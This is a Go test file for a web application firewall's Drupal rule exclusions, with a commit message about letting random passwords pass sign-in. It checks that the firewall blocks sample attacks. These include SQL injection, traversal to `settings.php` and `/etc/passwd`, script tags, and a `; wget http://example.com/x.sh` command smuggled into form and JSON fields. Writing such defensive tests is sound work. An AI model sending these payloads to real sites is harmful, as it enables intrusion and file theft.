Files
smallwebwaf/internal/coreruleset/drupal_test.go
clawbot 95e483e5e5
check / check (push) Failing after 12m7s
Core Rule Set: random passwords pass at sign-in (closes #276)
A password manager's random password set off 35 Core Rule Set rules,
about 1 in 40 refused. The password fields the app exclusions name now
skip those rules on their paths: WordPress pwd, Drupal pass, MediaWiki
wpPassword, lgpassword and password, Mastodon's sign-in, sign-up,
password change, move and delete passwords, and Nextcloud's sign-in
password. The tests draw 2,000 random passwords from a fixed seed, plus
one rare password for each rule the 2,000 do not set off. Those that set
off a rule in a field no exclusion names are sent to every password
field. `' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and
`<img src=x onerror=x()>` sent as a password now pass;
`<script>alert(1)</script>` and `javascript:alert(1)` are still refused.

Model: opus-5-5
2026-11-10 11:28:35 +00:00

499 lines
15 KiB
Go

package coreruleset_test
import (
"net/http"
"net/url"
"slices"
"testing"
)
// drupalThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
const drupalThreshold = 5
// drupalAddArticle is Drupal's form for a new article.
const drupalAddArticle = "/node/add/article"
// drupalSignIn is Drupal's sign-in page.
const drupalSignIn = "/user/login"
// drupalJSONSignIn is Drupal's sign-in in its JSON format.
const drupalJSONSignIn = "/user/login?_format=json"
// drupalJSONPasswordReset is Drupal's password reset in its JSON format.
const drupalJSONPasswordReset = "/user/password?_format=json"
// drupalTagForm is Drupal's form for a new tag.
const drupalTagForm = "/admin/structure/taxonomy/manage/tags/add"
// drupalEditAccount is Drupal's form for editing an account.
const drupalEditAccount = "/user/2/edit"
// drupalName is the field for a person's name, as the start of a form body.
const drupalName = "name="
func TestOrdinaryDrupalRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "drupal-requests.txt")
}
// drupalAttacks are an SQL injection, a path traversal and a script
// injection, as a query value.
//
//nolint:gochecknoglobals // a constant cannot be a list
var drupalAttacks = []string{
sqlInjection,
"..%2F..%2Fsites%2Fdefault%2Fsettings.php",
scriptInjection,
}
func TestDrupalAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
for _, attack := range drupalAttacks {
for _, target := range []string{
"/?id=",
"/admin/content?id=",
"/admin/content?title=",
"/admin/content/media?name=",
"/admin/people?user=",
"/admin/content/files?filename=",
"/admin/content/files?filemime=",
"/admin/content/block?info=",
"/admin/content/comment?subject=",
"/admin/content/comment?author_name=",
"/admin/config/search/path?search=",
"/admin/content?destination=",
"/admin/foo?q=",
"/node/1/edit?destination=",
"/user/login?destination=",
"/search/node?keys=",
"/search?keys=",
"/entity_reference_autocomplete/user/default/KEY?q=",
"/jsonapi/node/article?filter%5Btitle%5D=",
"/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=",
"/user/password?name=",
"/media-library?name=",
"/views/ajax?name=",
"/ckeditor5/basic_html/entity-link-suggestions?q=",
"/block-category/autocomplete?q=",
"/media/oembed?url=",
"/big_pipe/no-js?destination=",
"/node/2/revisions/3/revert?destination=",
"/node/2/revisions/3/delete?destination=",
"/block/add/basic?destination=",
"/fr/admin/content?title=",
"/fr/search/node?keys=",
} {
if got := inspect(t, crs, get(target+attack)); got.Score < drupalThreshold {
t.Errorf("%s%s let through: %+v", target, attack, got)
}
}
}
}
func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
const reply = "/comment/reply/node/1/comment"
for _, attack := range drupalAttacks {
for _, sent := range []struct{ target, body string }{
{drupalAddArticle, "title%5B0%5D%5Bvalue%5D=" + attack},
{drupalAddArticle, "body%5B0%5D%5Bvalue%5D=" + attack},
{"/node/1/edit", "body%5B0%5D%5Bsummary%5D=" + attack},
{reply, "comment_body%5B0%5D%5Bvalue%5D=" + attack},
{reply, "subject%5B0%5D%5Bvalue%5D=" + attack},
{reply, drupalName + attack},
{drupalSignIn, drupalName + attack},
{"/fr/user/login", drupalName + attack},
{"/user/register", drupalName + attack},
{drupalEditAccount, "mail=" + attack},
{drupalTagForm, "name%5B0%5D%5Bvalue%5D=" + attack},
{drupalTagForm, "description%5B0%5D%5Bvalue%5D=" + attack},
{"/block/add/basic", "info%5B0%5D%5Bvalue%5D=" + attack},
{"/admin/content/block/1", "body%5B0%5D%5Bvalue%5D=" + attack},
{"/contact/feedback", "subject%5B0%5D%5Bvalue%5D=" + attack},
{"/user/2/contact", "message%5B0%5D%5Bvalue%5D=" + attack},
} {
r := request{http.MethodPost, sent.target, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.body)
if got.Score < drupalThreshold {
t.Errorf("POST %s %q let through: %+v", sent.target, sent.body, got)
}
}
}
for _, attack := range []string{
injection,
scriptTag,
} {
for _, field := range []string{
`"title":"` + attack + `"`,
`"body":{"value":"` + attack + `"}`,
`"name":"` + attack + `"`,
`"revision_log":"` + attack + `"`,
`"info":"` + attack + `"`,
`"description":{"value":"` + attack + `"}`,
} {
r := request{
http.MethodPost, "/jsonapi/node/article",
[]string{"Content-Type: application/vnd.api+json"},
}
body := `{"data":{"attributes":{` + field + `}}}`
got, _ := inspectBody(t, crs, r, body)
if got.Score < drupalThreshold {
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
}
}
r := request{http.MethodPatch, "/node/2?_format=json", []string{jsonBody}}
body := `{"title":[{"value":"` + attack + `"}]}`
got, _ := inspectBody(t, crs, r, body)
if got.Score < drupalThreshold {
t.Errorf("PATCH %s %s let through: %+v", r.target, body, got)
}
r = request{http.MethodPost, drupalJSONSignIn, []string{jsonBody}}
body = `{"name":"` + attack + `","pass":"example"}`
got, _ = inspectBody(t, crs, r, body)
if got.Score < drupalThreshold {
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
}
}
}
func TestDrupalPasswordPasses(t *testing.T) {
t.Parallel()
for _, r := range []request{
{http.MethodPost, drupalSignIn, []string{formData}},
{http.MethodPost, drupalJSONSignIn, []string{jsonBody}},
} {
t.Run(r.target, func(t *testing.T) {
t.Parallel()
wantRandomPasswordsPass(t, r, "pass")
wantPasswordAttacksPass(t, r, "pass")
wantPasswordAttacksRefused(t, r, "pass")
})
}
}
func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
for _, attack := range []string{
injection,
scriptTag,
`; wget http://example.com/x.sh`,
`../../sites/default/settings.php`,
} {
for _, field := range []string{"name", "mail"} {
r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
body := `{"` + field + `":"` + attack + `"}`
got, _ := inspectBody(t, crs, r, body)
if got.Score < drupalThreshold {
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
}
}
}
// An address keeps 932250, which refuses ls -la, and 930120, which
// refuses system file names.
for _, kept := range []struct {
value string
rule int
}{
{"ls -la", 932250},
{".htaccess@example.com", 930120},
} {
r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
body := `{"mail":"` + kept.value + `"}`
got, _ := inspectBody(t, crs, r, body)
if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, kept.rule) {
t.Errorf("POST %s %s: %+v, want %d among them", r.target, body, got, kept.rule)
}
}
}
// drupalCommandAttack is a shell command that only 932230 and 932235 refuse
// on the fields that skip the other command rules, as a query value.
const drupalCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
func TestDrupalCommandAttackIsRefusedOutsideDestination(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
for _, target := range []string{
"/admin/content?title=",
"/admin/content/media?name=",
"/admin/people?user=",
"/admin/content/files?filename=",
"/admin/content/files?filemime=",
"/admin/content/block?info=",
"/admin/content/comment?subject=",
"/admin/content/comment?author_name=",
"/admin/config/search/path?search=",
"/admin/views/ajax/autocomplete/tag?q=",
"/search/node?keys=",
"/entity_reference_autocomplete/user/default/KEY?q=",
"/jsonapi/node/article?filter%5Btitle%5D=",
"/user/password?name=",
"/media-library?name=",
"/views/ajax?name=",
"/ckeditor5/basic_html/entity-link-suggestions?q=",
"/block-category/autocomplete?q=",
"/media/oembed?url=",
"/fr/admin/content?title=",
} {
got := inspect(t, crs, get(target+drupalCommandAttack))
if got.Score < drupalThreshold {
t.Errorf("%s let through: %+v", target, got)
}
}
}
func TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
for _, sent := range []struct{ target, field string }{
{drupalAddArticle, "title%5B0%5D%5Bvalue%5D="},
{drupalAddArticle, "body%5B0%5D%5Bsummary%5D="},
{drupalAddArticle, "revision_log%5B0%5D%5Bvalue%5D="},
{drupalAddArticle, "path%5B0%5D%5Balias%5D="},
{drupalAddArticle, "field_tags%5Btarget_id%5D="},
{drupalAddArticle, "field_image%5B0%5D%5Balt%5D="},
{drupalSignIn, drupalName},
{"/user/register", drupalName},
{drupalEditAccount, "mail="},
{"/comment/reply/node/1/comment", drupalName},
{drupalTagForm, "name%5B0%5D%5Bvalue%5D="},
{"/taxonomy/term/1/edit", "description%5B0%5D%5Bvalue%5D="},
{"/block/add/basic", "info%5B0%5D%5Bvalue%5D="},
{"/admin/content/block/1", "body%5B0%5D%5Bvalue%5D="},
{"/contact", "subject%5B0%5D%5Bvalue%5D="},
{"/contact/feedback", "message%5B0%5D%5Bvalue%5D="},
{"/user/2/contact", "message%5B0%5D%5Bvalue%5D="},
} {
r := request{http.MethodPost, sent.target, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.field+drupalCommandAttack)
if got.Score < drupalThreshold {
t.Errorf("POST %s %s let through: %+v", r.target, sent.field, got)
}
}
for _, field := range []string{
`"title":"; wget http://example.com/x.sh"`,
`"subject":"; wget http://example.com/x.sh"`,
`"body":{"summary":"; wget http://example.com/x.sh"}`,
`"name":"; wget http://example.com/x.sh"`,
`"revision_log":"; wget http://example.com/x.sh"`,
`"info":"; wget http://example.com/x.sh"`,
`"description":{"value":"; wget http://example.com/x.sh"}`,
} {
r := request{
http.MethodPost, "/jsonapi/node/article",
[]string{"Content-Type: application/vnd.api+json"},
}
body := `{"data":{"attributes":{` + field + `}}}`
got, _ := inspectBody(t, crs, r, body)
if got.Score < drupalThreshold {
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
}
}
r := request{http.MethodPatch, "/node/2?_format=json", []string{jsonBody}}
body := `{"title":[{"value":"; wget http://example.com/x.sh"}]}`
got, _ := inspectBody(t, crs, r, body)
if got.Score < drupalThreshold {
t.Errorf("PATCH %s %s let through: %+v", r.target, body, got)
}
r = request{http.MethodPost, drupalJSONSignIn, []string{jsonBody}}
body = `{"name":"; wget http://example.com/x.sh","pass":"example"}`
got, _ = inspectBody(t, crs, r, body)
if got.Score < drupalThreshold {
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
}
// An address keeps 932250, which refuses ls -la.
r = request{http.MethodPost, drupalEditAccount, []string{formData}}
got, _ = inspectBody(t, crs, r, "mail=ls%20-la")
if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, 932250) {
t.Errorf("POST %s mail=ls%%20-la: %+v, want 932250 among them", r.target, got)
}
}
func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
const subject = "subject%5B0%5D%5Bvalue%5D="
for _, value := range hardValues {
for _, sent := range []struct{ target, field string }{
{"/comment/reply/node/1/comment", subject},
{"/comment/reply/node/1/comment/5", subject},
{"/comment/reply/node/1/field_comments", subject},
{"/comment/reply/media/1/comment", subject},
{"/media/add/image", "revision_log_message%5B0%5D%5Bvalue%5D="},
{"/media/1/edit", "revision_log_message%5B0%5D%5Bvalue%5D="},
{drupalSignIn, "pass="},
} {
r := request{http.MethodPost, sent.target, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.field+value)
if got.Score >= drupalThreshold {
t.Errorf("POST %s %s%s refused: %+v", sent.target, sent.field, value, got)
}
}
}
for _, value := range hardValues {
word, err := url.QueryUnescape(value)
if err != nil {
t.Fatal(err)
}
r := request{http.MethodPost, drupalJSONSignIn, []string{jsonBody}}
body := `{"name":"example","pass":"` + word + `"}`
got, _ := inspectBody(t, crs, r, body)
if got.Score >= drupalThreshold {
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
}
r = request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}}
body = `{"name":"` + word + `"}`
got, _ = inspectBody(t, crs, r, body)
if got.Score >= drupalThreshold {
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
}
}
for _, address := range []string{"python3@example.com", "powershell@example.com"} {
r := request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}}
body := `{"mail":"` + address + `"}`
got, _ := inspectBody(t, crs, r, body)
if got.Score >= drupalThreshold {
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
}
}
}
func TestDrupalExclusionsAreNarrow(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
for _, passes := range []string{
"/admin/content?title=python3",
"/search/node?keys=python3",
"/entity_reference_autocomplete/user/default/KEY?q=python3",
"/jsonapi/node/article?filter%5Btitle%5D=python3",
"/node/1/edit?destination=python3",
"/fr/admin/content?title=python3",
"/pt-br/search/node?keys=python3",
"/user/password?name=python3",
} {
if got := inspect(t, crs, get(passes)); got.Score >= drupalThreshold {
t.Errorf("%s refused: %+v", passes, got)
}
}
for _, refused := range []string{
"/?title=python3",
"/admin/content?other=python3",
"/?keys=python3",
"/node/1?keys=python3",
"/?q=python3",
"/?filter%5Btitle%5D=python3",
"/python3-notes?destination=python3",
"/notes/admin/content?title=python3",
"/fr/node/1?keys=python3",
"/?name=python3",
"/user/login?name=python3",
"/media/oembed?url=python3",
"/media/oembed?url=ls%20-la",
} {
if got := inspect(t, crs, get(refused)); got.Score < drupalThreshold {
t.Errorf("%s let through: %+v", refused, got)
}
}
}
func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
// The same field name in the query keeps the rules, in the query and
// in the body.
for _, sent := range []struct{ path, field string }{
{drupalAddArticle, "title%5B0%5D%5Bvalue%5D=python3"},
{drupalAddArticle, "body%5B0%5D%5Bvalue%5D=python3"},
{drupalSignIn, "pass=python3"},
{drupalSignIn, "name=python3"},
{drupalEditAccount, "mail=python3"},
{drupalTagForm, "name%5B0%5D%5Bvalue%5D=python3"},
} {
r := request{http.MethodPost, sent.path + "?" + sent.field, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.field)
if got.Score < drupalThreshold {
t.Errorf("POST %s let through: %+v", r.target, got)
}
}
// The JSON field name keeps the rules beside json.name in the query, and
// on a path other than the password reset.
for _, target := range []string{
drupalJSONPasswordReset + "&json.name=python3",
"/user/register?_format=json",
} {
r := request{http.MethodPost, target, []string{jsonBody}}
got, _ := inspectBody(t, crs, r, `{"name":"python3"}`)
if got.Score < drupalThreshold {
t.Errorf("POST %s let through: %+v", r.target, got)
}
}
// So does the JSON field mail.
for _, target := range []string{
drupalJSONPasswordReset + "&json.mail=python3%40example.com",
"/user/register?_format=json",
} {
r := request{http.MethodPost, target, []string{jsonBody}}
got, _ := inspectBody(t, crs, r, `{"mail":"python3@example.com"}`)
if got.Score < drupalThreshold {
t.Errorf("POST %s let through: %+v", r.target, got)
}
}
}